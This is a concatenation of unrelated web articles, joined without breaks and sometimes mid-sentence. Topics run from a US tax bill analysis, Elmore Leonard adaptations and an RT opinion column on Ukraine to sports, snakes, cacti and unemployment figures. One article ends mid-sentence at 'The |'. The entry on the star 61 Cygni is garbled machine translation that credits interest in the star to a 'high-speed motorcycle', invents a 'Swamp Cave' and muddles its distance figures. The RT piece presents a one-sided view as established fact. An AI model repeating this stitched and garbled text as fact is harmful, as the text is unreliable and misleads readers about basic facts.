The United States tax code is full of specialized deductions — for charitable donations, mortgage interest, medical expenses and lots more. But about three-quarters of middle-class taxpayers don’t have to worry about any of that — they take the so-called standard deduction, which replaces most of those specialized tax breaks with a single lump sum.
The Senate bill would roughly double the standard deduction: to $12,000 for an individual or $24,000 for married couples. As a result, most middle-class households that take the standard deduction now would get a tax cut under the bill in 2018, and almost none would get a tax increase.
The story is very different for the roughly one-quarter of middle-class families that itemize deductions. The Senate bill would eliminate some popular tax breaks, including deductions for state and local taxes. As a result, households that take those deductions now could lose out. In total, about 40 percent of households that itemize their deductions would pay more in 2018 under the Senate bill — in some cases a lot more.
Families with children generally get a bigger tax cut
Married with no children Married with one child Married with two children
The Senate bill would affect different types of families differently. It’s easier to see how the various provisions would play out when we sort the data based on the number of children in each household.
Start with the chart on the left, which shows just married couples with no children. There’s still plenty of variation, but now some clear patterns emerge. For the roughly 70 percent of these couples that take the standard deduction, the G.O.P. bill has three main changes that matter: the doubling of the standard deduction (which helps them), the elimination of the personal exemption (which hurts them) and the revision of the income tax brackets (which would lower tax rates at many income levels).
The heavy diagonal line on the chart reflects the most common situation for these couples. Those earning $40,000 — roughly the bottom of the middle class in our definition — get about a $300 tax cut. Higher earners get a bigger cut, in absolute terms, because they have more income that’s subject to the reduced tax rate. (The fainter vertical line represents mostly older people. Much Social Security income isn’t taxed, so they benefit from the higher standard deduction, but many aren’t affected by the lower tax rate.)
For families with children, another big provision comes into play: the child tax credit. The Senate bill would double that credit to $2,000 per child. As a result, families with children would generally get a bigger tax cut, although the benefits start to phase out above a certain income — that’s why the cuts are smaller for families higher up on the earnings ladder. (This analysis is based on an interpretation of the tax bill that is being used by the Joint Committee on Taxation and many other economists. The bill is ambiguous, however, and there is an alternative interpretation that would be much less generous to lower-income parents.)
People who pay a lot in state and local taxes could see big tax increases
Pay little in state and local taxes Pay a moderate amount of state and local taxes Pay a lot in state and local taxes
One of the bill’s most significant changes would be the elimination of the deduction for state and local taxes. More than 40 million households wrote off a combined $350 billion in state and local income and sales taxes in 2015, according to the I.R.S., and 38 million households deducted close to $200 billion in property taxes. Both deductions would disappear under the Senate bill. (The House version of the bill would get rid of the deduction for income and sales taxes but would cap — not eliminate — the property-tax deduction.)
The charts above group households into three broad categories. The group on the left deducts little in state and local taxes; many deduct nothing at all and instead take the standard deduction. The group on the right deducts $4,400 or more in state and local taxes (including income, sales and property taxes), and as a result, many would pay more under the Senate bill.
Many households most affected by the loss of the state and local tax deduction live in coastal states such as New York, California and Connecticut. Those states have high tax rates; they also tend to vote for Democrats. In Connecticut, for example, more than 40 percent of taxpayers deducted either income or sales taxes in 2015, compared with just 28 percent in the United States as a whole.
As the charts show, households that take large state and local deductions also tend to be relatively wealthy. That’s partly because richer households tend to take bigger deductions across the board. But it’s also a reflection of the higher cost of living — and correspondingly higher incomes — in many coastal states.
In 2027 the picture is more uncertain, but many middle-class households would face a tax increase
Excluding impact of corporate tax cuts Including impact of corporate tax cuts
Until now, we’ve been focusing on the impact of the Senate bill on people’s taxes in 2018, when most households would get at least a small tax cut. But the situation would look very different a decade from now. That’s because in order to reduce the cost of the bill, its authors set essentially all of the individual tax cuts — the doubled standard deduction, the more generous child credit, the lower tax rates — to expire after 2025. But one provision that’s bad for taxpayers — changing the measure of inflation used for many tax calculations — would not expire. As a result, two-thirds of middle-class households would get a tax increase in 2027, and none — zero percent — would get a tax cut. (That’s what’s shown in the left-hand chart above.)
Those figures, however, consider only how the bill would affect personal income taxes. Starting in 2019, the bill would also cut taxes on businesses. Unlike the personal tax provisions, the business tax cuts would not expire.
Exactly how corporate tax cuts would affect individual households is a matter of intense debate among economists. The White House argues that cutting corporate taxes would result in big wage gains for workers. Many independent economists say most of the gains would go to business owners rather than workers. But economists generally agree that companies would probably pass on at least some of their savings to employees. (Executives and other top earners would probably get the biggest boost.) And people who own stocks or have other business investments would see a direct benefit from corporate tax cuts.
Congress’s in-house tax analyst, the Joint Committee on Taxation, estimates that about 25 percent of the cuts to corporate taxes would go to workers in the form of higher incomes. Using that and some other assumptions from the committee, we can allocate the corporate tax cuts to individual households, which is what we show in the chart on the right above. A bit under half of middle-class households would get a tax cut — or, technically, an increase in after-tax income — under these assumptions, and a bit more than half would see their after-tax income go down compared with under existing law. Both the cuts and the increases would generally be small for middle-class households, although the gains could be significant for some wealthy households.
Compared with the 2018 analysis, conclusions about the effects of the tax bill in 2027 are highly uncertain. On the one hand, Republicans argue that Congress is unlikely to allow tax cuts to expire in 2026 as planned, so the middle class might do better than this analysis suggests. On the other, many liberal economists argue that the Joint Committee on Taxation is too generous in its assumptions about how much workers would benefit from the corporate tax cuts. Our analysis makes no effort to account for the broader economic effects of either the tax cuts or of the extra debt that the government would have to take on to pay for them. It also doesn’t account for the repeal of the Affordable Care Act’s individual mandate, a provision that would have a much bigger impact in 2027 than in 2018.Why did Hollywood have such difficulty capturing Leonard’s appeal for so long? The adaptations of his early Westerns (3:10 to Yuma, The Tall T, Hombre) were largely successful, but after his switch to crime writing, the studios lost their knack for translating him to the screen. The failure was mostly tonal: Leonard’s work inhabits a unique point on the crime-fiction spectrum, neither as grimly hard-boiled as James Ellroy’s or Dennis Lehane’s on the one hand, nor as elaborately comic as Carl Hiaasen’s on the other. There is plenty of dry, ironic wit in Leonard’s work, but little in the way of jokiness.
Most of the early adaptations of Leonard’s crime work missed his light authorial touch, opting instead for somber noir. The 1969 version of The Big Bounce (starring a young but already wooden Ryan O’Neal) larded up a simple murder scheme with bleak subplots involving suicide and prostitution. Stick, a self-directed vanity project by Burt Reynolds, was all over the map tonally. (Leonard complained that “the plot was removed and machine guns substituted.”) And the director Abel Ferrara’s Cat Chaser—an initial, unreleased cut of which was three hours long and semipornographic—proved so traumatic an experience for the actress Kelly McGillis that she briefly quit acting altogether. Even relatively capable adaptations such as Mr. Majestyk (with Charles Bronson) and 52 Pick-Up (with Roy Scheider) emphasized the violence of Leonard’s books at the expense of character and dialogue.
It wasn’t until Quentin Tarantino arrived on the scene in the 1990s that an obvious cinematic vernacular for adapting Leonard presented itself. Though the two artists were separated in age by nearly 40 years, the affinities between them were evident: same ear for dialogue, same comfort with writing nonwhite and female characters, same don’t-take-it-all-too-seriously tone. (It should be noted, of course, that Tarantino’s work is far more violent than Leonard’s ever was.) Tarantino has frequently cited Leonard as a substantial influence on his writing. He was an ardent enough fan in his youth that when he was caught shoplifting a paperback of Leonard’s Switch at age 15, he later returned to the store, unchastened, to steal it a second time. When Leonard first saw True Romance (which Tarantino wrote but did not direct), he immediately recognized the congruity of their visions: “This is what one of my books should be,” he recalled thinking. Tarantino, as it turned out, felt exactly the same way. He later told Charlie Rose that he considered True Romance (which is set, in part, in Detroit) “basically like an Elmore Leonard movie that he didn’t write.”
Tarantino’s direct involvement with the production of Get Shorty, the first genuinely successful Leonard crime adaptation, was limited to his helping persuade John Travolta to take the lead role as Chili Palmer. But with Reservoir Dogs, True Romance, and Pulp Fiction, Tarantino had already offered a model for how to adapt Leonard to the big screen. (Leonard expressed his gratitude with a sly reference to Reservoir Dogs in his 1995 novel, Riding the Rap.) It was a model neatly adopted by Get Shorty’s director, Barry Sonnenfeld, and screenwriter, Scott Frank. For Frank, the primary challenge in constructing the script was to compress and offer structure while maintaining as much of Leonard’s dialogue as possible—because, as Frank noted, “The dialogue is what really drives the whole thing.” For Sonnenfeld, the trick was to allow Leonard’s native humor to come out naturally, without explicitly framing it as comedy. As Leonard recalled his own advice: “I told Barry, before he started shooting, ‘When someone delivers a funny line, I hope you don’t cut to another actor to get a reaction, like a grin or a laugh or something, because these people are serious.’ ”61 Cygni, definition and study. A-Z index of Cognitio.
61 Cygni, definition and study. A-Z index of Cognitio.
61 Cygni is a binary star visible in the Swan constellation. It consists of a pair of orange stars of a smaller sequence of the Sun, which orbits around the common mass center in about 659 years.
The components are among the weakest stars visible to the naked eye without any optical instrument. 61 Cygni has attracted the attention of astronomers since the nineteenth century because of his high-speed motorcycle. In 1838 Friedrich Wilhelm Bessel, using the parallax method, measured its distance from the Earth by quantizing it in about 10.4 light years, a value very close to that of about 11.36 light years, making it one of the stars close to the Earth. During the twentieth century, astronomers announced, following astrometry measurements of the system, that they discovered the presence of one or more planets in orbit around the two components; However, recent high-precision measurements have excluded this possibility.
The star 61 Cygni can be identified by τ Cygni, an astonishingly easy to spot, because with the stars Deneb, Sadr and Gienah form a rectangle, of which τ constitutes the northeastern summit; Cygnus is located about a degree northwest of this star, and looks like a fifth-magnitude star just perceptible under a low-polluted sky. In the background, there is an unexpected trait of the light path of the Milky Way, which is partly due to the obscurity of the dark clouds of the Swamp Cave.
Although with a naked eye appearing as a single star, 61 Cygni is actually a binary system consisting of a pair of orange sequence stars, 61 Cygni A and 61 Cygni B. Astronomers are not in agreement with the exact age of the system because of the different results obtained with the different methods of investigation. In fact, while measurements on spatial motions return a value close to 10 billion years. Because of its proximity to the solar system, 61 Cygni is the subject of research focused on the identification of substrate objects (planets or dwarfs); on several occasions it has been announced the presence of small invisible orbiting objects around one of the components, but none of these discoveries have been confirmed yet.
61 Cygni, definition and study. A-Z index of Cognitio.
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To open the video click on the image, good view from your Alessandro Brizzi.
Like this: Like Loading...Robert Bridge is an American writer and journalist. Former Editor-in-Chief of The Moscow News, he is author of the book, 'Midnight in the American Empire,' released in 2013.
In an interview with CNN’s Fareed Zakaria, Barack Obama acknowledged that the United States had "brokered a deal to transition power in Ukraine," thus admitting to a high level of democratic impropriety.
Before we consider Obama’s revealing remarks, and how the Ukrainian people sold their country for a song, let’s rewind to November 2013, when then-President Viktor Yanukovich had shocked western capitals - and, more importantly, western markets - by suspending plans for an association agreement with the European Union.
Video: /files/opinionpost/37/c1/b0/00/2530092_obana_new.mp4
As if on command, thousands of Ukrainians suddenly poured into the streets of Kiev to protest the decision. Such a rapid reaction should not have come as a surprise. After all, a multitude of US government agencies – most notably, USAID - had been operating in Ukraine since the collapse of the Soviet Union, investing billions on its latest "democratic" pet project.
This is no conspiracy theory. On December 13, 2013, Assistant Secretary of State Victoria Nuland, following her third trip to Ukraine in five weeks, told the National Press Club: "Since Ukraine's independence in 1991 the United States has…invested over $5 billion to assist Ukraine in needs and other goals."
Exactly what those "other goals" may have been, and who helped underwrite them, seem rather obvious today.
Although many are tempted to believe otherwise, governments don't normally spend such prodigious sums of money in a foreign land unless it expects to get something hefty - in this case, Kiev’s loyalty - in return. Governments are by nature political opportunists, not philanthropists, which is precisely why Russia gave USAID the boot in 2012. Ukraine did not, and was forced to pay the piper, so to speak.
We should note here that it was not just US taxpayer dollars that unwittingly provided the funds to support the coup d’ etat in Ukraine. In another softball interview with CNN’s Zakaria, billionaire George Soros last May coolly admitted: “I set up a foundation in Ukraine before Ukraine became independent of Russia. And the foundation has been functioning ever since and played an important part in events now.”
Certainly those billions of dollars weren’t spent just on humanitarian work, like distributing pastries to the Ukrainian rabble gathered on Independence Square. After all, the crucial question as to who would lend Ukraine a multi-billion dollar rescue package was the elephant parked on Maidan that few talked about. Once upon a time, western financial institutions had the market cornered on the lucrative task of bailing out cash-strapped countries. Today, however, other economic agencies - BRICS for example - are able to compete with the IMF. But after Kiev exploded in chaos and violence, the regular lender of last resort bagged itself another national trophy for above its fireplace.
Michael Hudson, of Counterpunch, summed up the IMF victory: "In April 2014, fresh from riots in Maidan Square and the February 22 coup, and less than a month before the May 2 massacre in Odessa, the IMF approved a $17 billion loan program to Ukraine’s junta. Normal IMF practice is to lend only up to twice a country’s quote in one year. This was eight times as high."
Hudson said the loan, given at a time of civil war, proved that the Washington-based financial institution functions as"an arm of US Cold War politics."
"Kiev used the loan for military expenses to attack the Eastern provinces, and the loan terms imposed the usual budget austerity, as if this would stabilize the country’s finances."
For anybody who still believes those billions of dollars were spent just to prop up democratic institutions need only consider the harsh historical lessons from places as diverse and distant as South America and the Middle East. Time and again, from Chile to Iran, Washington propped up puppet dictatorships to serve its purpose.
Proving this charge is as simple as eavesdropping on a telephone call conversation between Nuland and the US Ambassador to Ukraine, Geoffrey Pyatt.
Almost one year ago to the day, Nuland was heard outlining Washington’s vision of Kiev’s future "democratic" structure. Nothing terribly ironic about that, right? While much of the amused media focused its attention on Nuland’s “F*ck the EU” verbal bomb, that was mere child’s play compared to the meat of the conversation, which spelled out exactly who Washington wanted in power in Kiev.
Nuland:…I don't think Klitsch [Vitaly Klitschko, one of the opposition leaders] should go into the government. I don't think it's necessary, I don't think it's a good idea.
Pyatt:Yeah. I guess... in terms of him not going into the government, just let him stay out and do his political homework and stuff….
Nuland:I think Yats [Arseniy Yatseniuk, current prime minister of Ukraine]is the guy who's got the economic experience, the governing experience. He's the... what he needs is Klitsch and Tyagnibok [Oleg Tyagnibok, the other opposition leader] on the outside. He needs to be talking to them four times a week, you know. I just think Klitsch going in... he's going to be at that level working for Yatseniuk, it's just not going to work.
Pyatt:Yeah, no, I think that's right. OK. Good. Do you want us to set up a call with him as the next step?
Or, instead of enduring the obscenities of a Nuland conversation, one could simply wait for Barack Obama to sum it all up in an interview with CNN all-star softball pitcher Fareed Zakaria.
Instead of challenging Obama on the question as to whether US-NATO policies in Eastern Europe - which, aside from moving inexorably eastward to Russia’s border, also excludes Russian participation in the US missile defense shield - have in some substantial way contributed to the deterioration of relations between Russia and the US, Zakaria merely dangles the “Russian aggressor” carrot before Obama, who of course blames the entire mess on Putin, while admitting to something incredible, yet entirely believable.
READ MORE: US envoy to Ukraine caught posting fake images on Twitter
Obama told CNN's Zakaria that Washington “had brokered a deal to transition power in Ukraine" following on the heels of the deadly “protests on Maidan and Yanukovich then fleeing.” [Interview segment available in above video].
While Nuland’s colorful conversation one year ago told us everything we needed to know about Ukraine’s so-called democratic transition, it’s a completely different thing when the “deal” is admitted to by none other than the American president.
Washington power brokers, desensitized to the concept of brokering political “deals” due to their so-called democratic work in faraway war zones like Afghanistan, Iraq and Libya, think it normal operating procedure to employ the strategy inside of sovereign states that are experiencing internal discord.
The real tragedy of such a scenario is not so much that it is happening, but that the United States, and the Ukrainian people, it seems, believe that a foreign invasion of political opportunists on their territory constitutes democracy or will somehow lead to democracy. I'd wager to bet that Ukraine will very soon resemble Greece, where the people had firsthand experience with foreign-enforced austerity measures and, employing real democratic procedure as opposed to backroom brokered deals, introduced real democracy to elect politicians of the people, for the people and by the people.
But then again, the United States expected no less from the $5 billion, and a few cakes, it paid for Kiev’s pledge of allegiance. Now the Ukrainian people must dutifully follow that foreign-built road wherever it may lead them.
The statements, views and opinions expressed in this column are solely those of the author and do not necessarily represent those of RT.If you're planning to register for the 2016 Boston Marathon between now and Wednesday evening, your chances of actually toeing the line on April 18 are dwindling.
Approximately 5,000 spots remain after the first week of registration opened last week for the fastest qualifiers, the Boston Athletic Association told Runner's World on Sunday. That number is about 3,000 less than last year at this time for the 2015 race.
As Boston hopefuls have found recently, simply qualifing for the marathon doesn't guarantee entry anymore. For the last two years, the number of applicants has exceeded the number of spots alloted for time qualifiers, and the registration system is set up to allow entry first to the athletes who run faster than their qualifying time by the greatest margin.
Last week on Monday, three consecutive periods for registration were held—those who ran 20:00 or faster than their qualifying time could register starting on Monday, followed by those with times 10:00 or faster on Wednesday, and runners with times 5:00 or faster on Friday. About 19,000 runners signed up.
This morning registration opened for all time qualifiers, regardless of the times they ran to meet their standards. Registration will stay open until Wednesday, September 23, at 5 p.m. Eastern.
If the number of applicants exceeds the approximately 5,000 spots available after Wednesday evening, however, runners will earn a bib based on the amount of time by which they ran under their standard. The fastest runners will gain entry first until the field fills.
In 2014, nearly 10,000 runners tried to sign up for the approximately 8,000 remaining spots. Runners ultimately had to notch times at least 1:02 or faster to make it into the race.
From a total field of 30,000 runners, about 24,000 participants will be time qualifiers. The rest of the field will consist mainly of runners participating for charities. These numbers mirror those for the 2015 marathon.The Marine Corps inked $98 million contract this month for a GPS-guided mortar round that officials said will travel twice as far than traditional rounds and with triple the lethality.
This precision extended range munition, or PERM, will be fielded to Marine units in early to mid-2018, said Joe McPherson, the product manager for Fire Support Systems at Marine Corps Systems Command. The 120mm-rounds are designed for the Marines' Expeditionary Fire Support System, a towed mortar that can fit inside an MV-22 Osprey along with the all-terrain vehicle that pulls it. The system can also be stored easily on an amphibious ship and delivered to shore via aircraft or landing craft.
While the EFSS was fielded in the early 2000s, this GPS-guided round has been in development since 2011. The |
, water, salt and spices and is very popular in the North east of England, and some parts of the Midlands.
An HM Customs spokeswoman said the checks were likely to have been carried out by airport security prior to the flight two weeks ago.
She added: “There is no customs policy with regard to pease pudding so far as I am aware.”
A Newcastle Airport spokeswoman said they did not comment on security matters.
The EasyJet service from Newcastle to Gatwick ended on March 27 this year due to low demand.Sadiq Khan says there are too many chicken shops in London. Biggest Chicken Cottage in Europe is in his seat (Tooting) #labourhustings
“Chicken Cottage is a British product that is doing a fantastic amount in our country...over the last period Chicken Cottage has created 1,000 new jobs in our country, added £50m to the UK’s GDD and over the next five years will be creating 400 new jobs as well.
“And here’s the beautiful thing. This is a British product...selling Islamic products, selling halal products...that is niche and general but it’s gone mainstream.
“When Chicken Cottage started in 1994, the aim was to be as excellent, or as good as, the market leaders...now, the aim is to be the best in its own right, and now the market leaders are Chicken Cottage... long may you have a prosperous future!”JERSEY CITY - We've all had our fair share of typos, but this one is stoopendous.
City officials are blaming a contractor for the stop sign at Seventh and Monmouth streets in Downtown Jersey City that tells drivers to "STOOP."
The misspelling, facing drivers headed north on Monmouth Street, had motorists slowing down this morning to take a look.
According to a city worker tasked with helping to correct the mistake, the contractor who repainted the sign on Seventh Street moved the "stop" over a few feet without completely erasing the old "stop" sign.
The sloppy paint job is getting redone so motorists will know to stop, not stoop. City spokeswoman Jennifer Morrill said the contractor will not charge taxpayers to repaint the intersection.
Terrence T. McDonald may be reached at tmcdonald@jjournal.com. Follow him on Twitter @terrencemcd. Find The Jersey Journal on Facebook."Inchy, the mastermind and the crafter, bringing trophies here to our town!" The chant from the Orlando City supporters group echoed throughout the stadium every home game. Now, it will be sung in memory of the now former Orlando City manager, Adrian Heath.
Before Heath started with the club all the way back in 2008, when it was in Austin, Inchy had a long tenured career as a player and coach in England, which you can read more about here. After spending 2008 to 2010 in Texas, Heath moved with the team to Orlando in 2011. As soon as Orlando City became a club, Adrian Heath was the man in charge and for the first four years of its existence, it was the best team around.
Orlando City spent four years in the USL and made the playoffs every year. In terms of team accolades, here are just a few:
Two USL championships.
Three regular-season USL championships.
A 6-2 overall playoff record.
12 players named to the All-League First Team.
The best start of any professional U.S. soccer club in its first 100 league matches, with a 66-12-22 record.
A 45-5-10 record at home, including two undefeated regular seasons at the Citrus Bowl.
What was most important to Heath were the players he coached and how he developed them. He helped develop Kevin Molino into a two-time USL MVP and one-time holder of the league's regular-season goal-scoring record. He helped turn Dom Dwyer from a young player sitting on the bench in Kansas City into a goal-scoring machine when he was loaned to Orlando in 2013. Dwyer still thanks Heath for all that he did for his career, at one point saying to the Orlando Sentinel, "I honestly can't speak highly enough for the respect I have for him and what he taught me in such a short period of time...He knew the right buttons to push for me and he pushed them hard and it's obviously paid off."
Heath helped turn players who were cast off from MLS teams -- like Jamie Watson, Rob Valentino, Matt Luzunaris and others -- into successful professionals who constantly contributed to the many wins the club earned over the years.
Those four years in USL helped capture the hearts of the community and made him a stalwart within Orlando. While fans chanted his name and praised his coaching, he did his best to give back to the community. Not only did he take time to speak with fans before different events, he would volunteer his time and services to help his community, he would go to soccer clinics and help the kids in any way he could. Not because he had to, but because he wanted to. Because he cared for Orlando and its future soccer players.
Rollins College Head Coach Keith Buckley said of Heath in an interview last year that, "What Adrian and Phil (Rawlins) have done is embraced the city and got them to connect. I've been in soccer in this country for 26 years and always in Orlando. I never thought it was gonna happen. I was the naysayer and they've totally proved me wrong, and that's a good thing."
Perhaps one of Heath's biggest accomplishments was helping get Orlando City into MLS. With his club winning games and playing a fun style of soccer, the league began to take notice when inquiries were made about the move. The 20,000-plus crowd on hand for the 2013 USL Championship game was one of the biggest in minor league soccer at the time and really got the league office taking note. After the team landed a stadium deal, Orlando City was announced as Major League Soccer's 21st franchise.
Heath made the step up to MLS in 2015 with the team and came a few points away from making the playoffs, in an inaugural season that saw many ups and downs, which was to be expected. That year also saw a complete overhaul of the Orlando roster, which included the end of the tenure of many longtime Lions. The plan for the team in MLS was to build a young roster and help them develop. The plan was laid out by Heath himself, along with then-GM Paul McDonough. With the plan, time was required to help push it to the eventual goal.
Unfortunately, time wasn't a luxury that Heath had going into the 2016 season. Pressure was mounting for his job and he was forced to put his strategy by the wayside in order for him to keep his job secure. Unfortunately, things didn't work out the way it was planned and patience ran thin with the club's board of directors, which led to his dismissal.
After the news come out from the club, former players took to social media last night and expressed their thoughts on the "mutual termination".
Adrian Heath played a massive role in my career & he's a coach I consider to be one of the best in America. Whoever gets him will be lucky. — Jamie Watson (@jamiewatson77) July 7, 2016
Lost for words https://t.co/iFO7G6LJCE — Dom Dwyer (@Ddwyer14) July 7, 2016
Adrian will always be a legend for Orlando city. He built it. What a coach and guy! Good guys land on their feet & he certainly will! #ledg — Brad Rusin (@BradfordRusin) July 7, 2016
While, in the end, people may look at the firing and chalk it up to another coach being let go for not getting results, the lasting legacy that Adrian Heath had on this community will be ingrained in the Lions' history. In fact, Jared Ambrose, the co-founder of the Iron Lion Firm, had some poignant words on Heath in an interview we did with him back in February of 2015, just before the start of the Lions' first MLS season.
While the club will move on and find another manager for the future of the Lions, none of them will truly replace Adrian Heath, the mastermind and crafter of Orlando City.Watch a king brown snake take its first breath
By AG Staff Writer |
THE AUSTRALIAN REPTILE Park has captured incredible footage of a king brown snake hatching and taking its first breath.
The video was taken by Billy Collett, Head of Reptiles at the Park, which is located on the Central Coast of New South Wales.
Tim Faulkner, General Manager at the Australian Reptile Park and AG’s 2015 Conservationist of the Year, said the baby king brown or mulga snake (Pseudechis australis) was part of a breeding program aimed both at establishing a population in captivity, as well as for milking the snakes’ toxic venom, which is then used to produce antivenom.
“King browns are not that venomous, but what they lack in toxicity they make up for in volume of venom,” said Tim, adding that the species is now “extraordinarily rare” thanks to the introduction of the cane toad.
Australia’s most deadly snake is the eastern brown (Pseudonaja textilis).
A total of 26 baby king brown snakes were hatched earlier this year for the Park’s breeding program, which is only the second time these snakes have been bred in Australia.
It’s likely they’ve a lot of growing ahead of them, if their parents’ size is anything to go by – dad is 2.6m and mum is 2.1m, Tim said.
The Australian Reptile Park also milks venomous spiders to produce antivenom, and last month received their biggest Sydney funnel-web to date – a 10cm whopper dubbed ‘Big Boy’.
RELATED CONTENT:THE ability to visit a foreign country without the cost and hassle of obtaining a visa is a welcome bonus for any traveller. It is also a barometer of a country's international alliances and relations. A report released on August 25th by Henley & Partners, a consultancy, shows that Britons have the fewest visa restrictions of the 190-odd countries (and territories) for which data are available. British citizens can enjoy a three-day stay for business or pleasure to 166 destinations without needing a visa. Generally, citizens of rich countries and trade-based economies have more freedom to travel than those of countries suffering from war or repression. Compare, for instance, the restrictions on South Korea with North Korea and Hong Kong with those on China.
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More Daily chartsThe Desert Cactus
Cactus Is an American Plant
The cactus family is one of the most easily recognized plant families in the world. Their beautiful blossoms, thick stems and unusual shapes attract thousands of people to the desert each year. Cactus, as a plant family, show variations between the individual species. They range from the three-inch fishhook cactus nestled in a rock crevice to the towering saguaro cactus which reaches heights of 30 to 40 feet. Cactus grow on rocky hillsides, alluvial fans and in barren washes throughout the desert.
Natural History
Cactus is an American plant family not native to Europe, Africa or Australia. Very little is known about early cactus plants because only two cactus fossils have ever been found. The oldest, found in Utah, dates to 50 million years ago and was similar to today's prickly pear.
Cactus plants probably grew in a tropical environment until about 65 million years ago when, in much of California, the climate changed from year-round rainfall to a pattern of dry summers and wet winters. Later, when the desert began to form as the Sierra Nevada and Peninsular Ranges rose and blocked rainfall to the eastern valleys, the cactus adapted to the dry, desert conditions.
Although cactus are synonymous with desert regions, they are found in some unlikely places. In the lush, tropical regions of Mexico, South America and some Caribbean Islands, tall columnar cactus grow among hanging vines and large-leaved trees. One species grows at an elevation of 11,000 feet in the Sierra Nevadas.
Adaptations to the Desert
Cactus owe their success in the desert to their structural adaptations. While other desert plants may have similar features such as spines and succulent stems, these evolutionary traits reach a zenith in the cactus.
Cactus take advantage of the lightest rainfall by having roots close to the soil surface. The water is quickly collected by the roots and stored in thick, expandable stems for the long summer drought. The fleshy stems of the barrel cactus are pleated like an accordion and shrink as moisture is used up. These pleats also channel water to the base of the plant during rain showers.
When water is no longer available in the summer, many desert shrubs drop their leaves and become dormant. Cactus continue to photosynthesize because they have fixed spines instead of leaves. The green stems produce the plant's food, but lose less water than leaves because of their sunken pores and a waxy coating on the surface of the stem. The pores close during the head of the day and open at night to release a small amount of moisture.
The dense network of spines shades the stems, keeping them cooler than the surrounding air. Many barrel cactus lean to the south so that a minimum of body surface is exposed to the drying effect of the midday sun. Cactus pay a price for these water-saving adaptations -- slow growth. Growth may be as little as 1/4 inch per year in the barrel cactus, and most young sprouts never reach maturity.
Uses of Cactus
For many animals such as the bighorn sheep and the antelope ground squirrel, cactus are an important source of food and water. The cactus wren and California thrasher often build their nests in the buckhorn cholla. These birds trim spines from the cactus to permit their own easier access, but rely on the balance of the spines for protection from foxes, coyotes and predatory birds. The Gila woodpeckers and gilded flickers, chop burrows in the long arms of the saguaro cactus. Owls, flycatchers, and starlings also use the abandoned homes in the saguaros as their abodes.
Different varieties of cactus was used for food and medicinal purposes by Native Americans for thousands of years. The Cahuilla Indians spent the cooler months gathering wanted plants. They harvested the fruit of the beavertail cactus for its sweetness. The fruit was cooked in a pit with hot stones for at least 12 hours, and the large seeds were ground into a mush. When the flesh pads were young, they were cut into small pieces, boiled and served as greens.
Native women used gathering sticks to harvest the buds of barrel cactus to prevent being injured by the sharp spines. Usually these buds were parboiled several times to remove the bitter flavor before they were eaten.
The buckhorn cholla was used medicinally by the Cahuilla. The stems were burned, and the ashes were applied to cuts and burns to aid in the healing process.
Where To See Cactus
Cactus are found throughout the desert regions and usually bloom in late March through May. The blossoms range in color from the deep magenta of the hedgehog cactus to the cream-colored blossoms of the saguaro, and from bright yellow prickly pear to the pink blooms of the beavertail cactus.
Some of the best locations in the United States for viewing cactus:
Protection
Cactus, highly adapted to the harsh desert environment, flourish in places where other plants cannot survive. Their survival is threatened by "cactus rustlers" who steal these plants for the profitable landscaping trade. Some individuals destroy cactus by operating vehicles off the road while still others use these ancient plants for target practice.
It is illegal to disturb or remove cactus on any public lands. By protecting the cactus you are helping preserve the desert's intricate and fragile web of life.
Text by Jeri Zemon, State Park Ranger
Photos by DesertUSA Staff
Seeds
Desert Garden Seed Starter Kit
Joshua Tree Incubator Set
Giant Saguaro Incubator Kit
Prickly Pear Products - Taste the Fruits of the Desert!
Everything from Prickly Pear syrup for deserts, drinks and coolers, to Cactus Candy, jelly and honey! Hangover Terminator too!
The prickly pear plant (also called nopal or nopalitos in Spanish) and the prickly pear cactus fruit (also known as tuna in Spanish) is an edible nutritious and delicious food offering vitamins, minerals and medicinal properties.
There has been medical interest in the Prickly Pear plant. Some studies have shown that the pectin contained in the Prickly Pear pulp lowers levels of "bad" cholesterol while leaving "good" cholesterol levels unchanged. Another study found that the fibrous pectin in the fruit may lower diabetics' need for insulin. Both fruits and pads of the prickly pear cactus are rich in slowly absorbed soluble fibers that help keep blood sugar stable.
Prickly pear extract has also been shown to reduce the severity and occurrence of hangovers if taken in advance of drinking. Nausea, dry mouth, appetite loss, and alcohol-related inflammation were all reduced in test subjects who ingested prickly pear extract 5 hours prior to drinking*. You can make your own tests and see if it works for you, which is the only test that really counts. More...
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The Desert Environment
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Desert Geological TermsSam's Toybox Homepage I've started selling some of my toys & collectibles.
See my eBay Store for current listings. Thanks, Sam
The Mighty Men & Monster Maker by Tomy is a way cool drawing toy. You can mix and match different heads, torsos, and legs to make up drawings of superheroes or monsters. Item number 2520 dated 1978. Below the Mighty Men set is another drawing set, the Little Van Goes also by Tomy. This set holds the three piece van plates in a drawer underneath the drawing surface. No idea of item number or date on the van set.
Other drawing toys in my collection: Electric Drawing Set by Lakeside Toys, Enlarg-A-Graph and Trace-A-Graph by Emenee, and of course the most popular drawing toy ever, Spirograph by Hasbro.
If you found this site useful or enjoyable perhaps you would sign the guestbook.
Can't find it? Try searching the Toybox with: Custom Search
Contact me: Sam Cancilla, sam@samstoybox.com.
Last Modified: June 16, 2005
Copyright © 1999-2019 Sam Cancilla. All Rights Reserved Worldwide.With economic optimism back over the U-3 data, which was "surprisingly" not impacted by mid-winter snow (but as Art Cashin says, a horrible number would have been seen as a buying catalyst due to the "non-recurring" nature of snow in February), many seem to have missed that real unemployment, or the BLS' U-6 series actually climbed by 0.3%, to 16.8% from 16.5% in January. Additionally, the Non-Seasonally Adjusted U-6 number was barely changed, and was flat at 17.9%, just a hair away from January's record 18%.
Also, just as relevantly, a comparable data series tracked by Gallup indicated the February "underemployment" came in at 19.8%, virtually unchanged from January's 19.9% reading.
Some more from Gallup:
These results are based on February interviews with more than 19,000 adults in the U.S. workforce, aged 18 and older. Gallup classifies respondents as "employed" if they are employed full time or are employed part time but do not want to work full time. Gallup classifies respondents as "underemployed" if they are employed part time but want to work full time or are unemployed. Unemployed respondents are not employed, looking for work, and available for work. February's 19.8% underemployed estimate includes 10.6% who are unemployed and 9.2% who are working part time but wanting full-time employment (neither estimate is seasonally adjusted, and both are based on adults 18 and older). Both figures are similar to January's estimates.
Finally, some insight into that great commodity we can't seem to get enough of - hope.A student of literature in the university today can be forgiven a certain bafflement about what constitutes the function of the discipline. What, exactly, is literary studies? Is it a kind of history, a branch of philosophy, the study of rhetoric? Is it about becoming a better reader, in an ethical or technical sense? It’s not about learning how to write; that’s what MFA programs are for. One might turn to histories of the discipline in an effort to clear things up — but here, too, the same confusions apply. The history of methods of scholarship and criticism is its own subfield, and one can find convincing arguments to suit most any purpose.
